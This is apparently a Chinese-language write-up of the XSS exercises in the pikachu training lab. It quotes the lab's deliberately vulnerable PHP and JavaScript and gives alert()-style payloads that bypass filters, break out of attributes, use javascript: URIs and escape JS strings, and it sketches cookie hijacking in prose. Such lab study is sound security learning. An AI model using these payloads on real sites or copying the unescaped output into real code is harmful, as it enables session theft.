pikachu-XSS(Cross-Site-Scripting)
XSS(跨站脚本)概述
Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
1、反射型XSS(GET)
查看一下后台代码:
$html=''; if(isset($_GET['submit'])){ if(empty($_GET['message'])){ $html.="<p class='notice'>输入'kobe'试试-_-</p>"; }else{ if($_GET['message']=='kobe'){ $html.="<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />"; }else{ $html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>"; } } }
<div id="xssr_main"> <p class="xssr_title">Which NBA player do you like?</p> <form method="get"> <input class="xssr_in" type="text" maxlength="20" name="message" /> <input class="xssr_submit" type="submit" name="submit" value="submit" /> </form> <?php echo $html;?> </div>
可以看到后台直接把我们传入的参数插入了html代码中,并且可以被浏览器所执行,触发XSS。
在输入框中输到一半不能输了,有前端字符数量限制,可以选择在URL中输入或者直接修改前端代码
2、反射型XSS(POST)
用POST方式,没啥区别
<script>alert(/xss/)</script>
3、存储型XSS
在留言板中插入一条xss,将我们输入的内容存储在数据库中,在访问内容的时候会将数据库中的内容直接输出在前端内容中,被浏览器执行
<?php echo $html; $query="select * from message"; $result=execute($link, $query); while($data=mysqli_fetch_assoc($result)){ echo "<p class='con'>{$data['content']}</p><a href='xss_stored.php?id={$data['id']}'>删除</a>"; } echo $html; ?>
4、Dom型XSS
先从w3school上对HTML DOM进行一个初步了解:
HTML DOM 定义了所有 HTML 元素的对象和属性,以及访问它们的方法。
换言之,HTML DOM 是关于如何获取、修改、添加或删除 HTML 元素的标准。
浏览器会为页面生成一个Document object文档对象,然后生成子对象,对象中又包含属性、方法、事件,
可以通过jsp的代码对网页文档进行修改,也就是通过DOM来修改网页的内容从而导致了XSS漏洞
查看一下代码:
script> function domxss(){ var str = document.getElementById("text").value; document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>"; } //试试:'><img src="#" onmouseover="alert('xss')"> //试试:' onclick="alert('xss')">,闭合掉就行 </script>
id为text的标签的value就会被插入道id为dom的标签当中,而且没有任何过滤
我在输入框中输入了一些内容,可以看到他变成了href属性的内容
我们只需要闭合前面的href并且在后面再加上一个属性,那么去点下面的链接就会有弹窗,很明显我们的onclick已经称为a标签的一个属性了
也能闭合掉前面的a标签,后面加上一个Img标签,当鼠标从图片上经过的时候就会产生弹窗
5、DOM型XSS-X
查看代码:
if(isset($_GET['text'])){ $html.= "<a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>"; }
<script> function domxss(){ var str = window.location.search; var txss = decodeURIComponent(str.split("text=")[1]); var xss = txss.replace(/\+/g,' '); // alert(xss); document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>"; } //试试:'><img src="#" onmouseover="alert('xss')"> //试试:' onclick="alert('xss')">,闭合掉就行 </script>
先点这行字”有些费尽心机想要忘记的事情,后来真的就忘掉了“才会去执行domxss(),才会显示”就让往事都随风,都随风吧“
如果正常输入,例如输入11,那么链接就会变为http://xxxxxx/vul/xss/xss_dom.php/11
6、XSS盲打
xss盲打时发送一段xsspayload给后台管理员,如果后台管理员对我们的xss内容进行查看的话就会遭受XSS攻击
7、XSS之过滤
查看代码:
if(isset($_GET['submit']) && $_GET['message'] != null){ //这里会使用正则对<script进行替换为空,也就是过滤掉 $message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']); // $message=str_ireplace('<script>',$_GET['message']); if($message == 'yes'){ $html.="<p>那就去人民广场一个人坐一会儿吧!</p>"; }else{ $html.="<p>别说这些'{$message}'的话,不要怕,就是干!</p>"; } }
<script被过滤了,但是可以通过大小写绕过,但是也可以通过其他标签来实现弹窗
<SCRIPT>alert(/xss/)</SCRIPT>
<img src="#" onerror="alert(/xss/)">
8、XSS之htmlspecialchars
查看代码:
if(isset($_GET['submit'])){ if(empty($_GET['message'])){ $html.="<p class='notice'>输入点啥吧!</p>"; }else { //使用了htmlspecialchars进行处理,是不是就没问题了呢,htmlspecialchars默认不对'处理 $message=htmlspecialchars($_GET['message']); $html1.="<p class='notice'>你的输入已经被记录:</p>"; //输入的内容被处理后输出到了input标签的value属性里面,试试:' onclick='alert(111)' // $html2.="<input class='input' type='text' name='inputvalue' readonly='readonly' value='{$message}' style='margin-left:120px;display:block;background-color:#c0c0c0;border-style:none;'/>"; $html2.="<a href='{$message}'>{$message}</a>"; } }
在这里应用了htmlspecialchars对传入的message参数进行字符转换,把预定的字符转换成Html实体,例如:
&转换为&,"转换为",'转换为'(也就是不变),<转换为<,>转换为>
可以看到 "、<、>、& 这些符号都变成了Html实体了,无法利用其进行xss攻击,但是单引号还是可以使用,所以可以使用' 闭合然后构造一个onclick属性,然后再点击下面的链接即可实现弹窗
' onclick='alert(/xss/)'
9、XSS之href输出
查看代码:
if(isset($_GET['submit'])){ if(empty($_GET['message'])){ $html.="<p class='notice'>叫你输入个url,你咋不听?</p>"; } if($_GET['message'] == 'www.baidu.com'){ $html.="<p class='notice'>我靠,我真想不到你是这样的一个人</p>"; }else { //输出在a标签的href属性里面,可以使用javascript协议来执行js //防御:只允许http,https,其次在进行htmlspecialchars处理 $message=htmlspecialchars($_GET['message'],ENT_QUOTES); $html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>"; } }
首先对传入的message进行htmlspecialchars的html实体转换,而且这里的flags值被设置为ENT_QUOTES所以单引号和双引号都无法再使用了,之前的payload都失效了
htmlspecialchars语法:htmlspecialchars(string,flags,character-set,double_encode)
- ENT_COMPAT - 默认。仅编码双引号。
- ENT_QUOTES - 编码双引号和单引号。
- ENT_NOQUOTES - 不编码任何引号。
但是这里强调了是href输出,应该利用这个特点,href属性以及img标签中的src属性可以直接通过javascript协议来执行js代码,所以这题的payload:
javascript:alert(/xss/)
10、XSS之js输出
查看前端代码(我先输入了123):
<script> $ms='123'; if($ms.length != 0){ if($ms == 'tmac'){ $('#fromjs').text('tmac确实厉害,看那小眼神..') }else { // alert($ms); $('#fromjs').text('无论如何不要放弃心中所爱..') } } </script>
可以看到我们输入的123直接赋值到了$ms上,那我们可以直接将语句闭合然后构造我们自己的代码
';alert(/xss/);// 于是$ms就变成下面这样然后就多出了一句alert(/xss/);,然后实现弹窗
$ms='';alert(/xss/);//';
总结
xss漏洞利用:
如果是get方式的请求,用户可以直接通过Url看出网站有问题,可以通过转换为短链接来欺骗,通过构造一个伪装页面,实现自动提交,当用户点击之后可以通过监听来获取用户登录该网站的cookie实现cookie劫持,然后通过cookie登录具有xss漏洞的网站。(之后可能会写一下)
由于XSS还受到跨域和同源政策的影响,不同域下的js不能相互操作,而需要协议、端口、域名,这三个全部相同才满足同源
不受同源限制的标签(但是无法读写):
<img src=""> // 图片 <script src=""> // JS <link href=""> // CSS <iframe src=""> // 任意资源